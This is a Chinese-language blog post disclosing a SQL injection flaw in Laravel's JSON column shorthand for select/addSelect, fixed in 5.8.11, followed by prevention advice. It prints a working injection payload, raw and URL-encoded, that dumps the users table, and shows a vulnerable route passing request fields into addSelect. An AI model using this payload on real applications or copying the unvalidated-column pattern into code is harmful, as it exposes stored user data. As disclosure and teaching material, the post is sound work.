我最近了解到并非Laravel中的所有查询构建器功能都是“安全的”。这意味着不应将用户输入直接传递给它,因为它可能会将您的应用程序暴露给SQL注入漏洞。
过去几天很明显,社区对这些不安全的功能知之甚少。许多开发人员和我一样认为,Laravel查询构建器完全阻止了SQL注入攻击。
这篇博文旨在提高人们对什么是安全的,哪些不安全的意识。
SQL注入漏洞?
让我们首先提一下从Laravel 5.8.11开始修复此漏洞。虽然从技术上讲我们可以称之为“漏洞”,但Laravel开发人员应该知道他们也在防止这类问题方面发挥作用。
我们来看看这个问题吧。
Laravel能够手动指定在查询中选择哪些列。它还提供了查询JSON数据的简写表示法:
Blog::query()
->addSelect('title->en');
SELECT json_extract(`title`, '$."en"') FROM blogs;
json_extract
我们可以使用简化的->
语法,而不是手动编写,Laravel将转换为正确的SQL语句。
但要小心:Laravel在转换过程中不会进行任何转义。请考虑以下示例:
Blog::query()
->addSelect('title->en'#');
通过'#
在我们的输入中插入,我们可以手动关闭该json_extract
函数,并忽略查询的其余部分:
SELECT json_extract(`title`, '$."en'#"') FROM blogs;
由于语法错误,此查询将失败,但下一个查询呢?
SELECT json_extract(
`title`,
'$."en"'))
FROM blogs RIGHT OUTER JOIN users ON users.id <> null
#
"') FROM blogs;
我们在users
桌面上添加了一个外连接。基本上选择其中的所有数据。
作为参考,这是恶意代码的URL编码版本:
%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23
假设我们的应用程序中有以下端点,用于从公共API查询博客帖子:
Route::get('/posts', function (Request $request) {
$fields = $request->get('fields', []);
$users = Blog::query()->addSelect($fields)->get();
return response()->json($users);
});
此API的消费者可能只对几个字段感兴趣,这就是我们添加fields
过滤器的原因。与JSON api规范中的稀疏字段集类似的东西。
现在可以像这样使用端点:
/blog?fields[]=url&fields[]=title
现在我们插入恶意代码:
/blog?fields[]=%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23
它将被添加到查询中。通过将查询结果作为JSON返回,我们将看到users表的完整内容。
Blog::query()->addSelect([
'%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23'
])->get();
要使这种攻击成为可能,需要做两件事:
- 一个可访问的API端点,允许攻击者将其恶意代码传递给
select
或addSelect
。您可能无法在项目中手动执行此操作。虽然有一些流行的软件包可以为简单的API端点和URL过滤提供此功能。 - 入口点表必须具有包含JSON数据的列。否则该
json_extract
函数将失败,停止我们的查询。但从入口点开始,您可以访问所有数据。
预防?
如前所述,自Laravel 5.8.11起,此特定漏洞已得到修复。随时了解最新的Laravel版本总是很好的。
更重要的是,开发人员不应该直接允许用户输入指定列,而不是白名单。在我们之前的示例中,您可以通过仅允许请求某些字段来防止此攻击,这将完全阻止此问题。
接下来,我们广泛使用的一个包,由设计spatie/laravel-querybuilder
开放addSelect
。这意味着使用我们的软件包的网站容易受到潜在问题的影响。我们立即修复了它,Freek 深入地写了这篇文章。如果您正在使用我们的软件包并且无法更新到最新的Laravel版本,则应立即更新软件包。
最后,Laravel文档也已更新,以警告开发人员在使用查询构建器时不要将用户输入直接传递给列。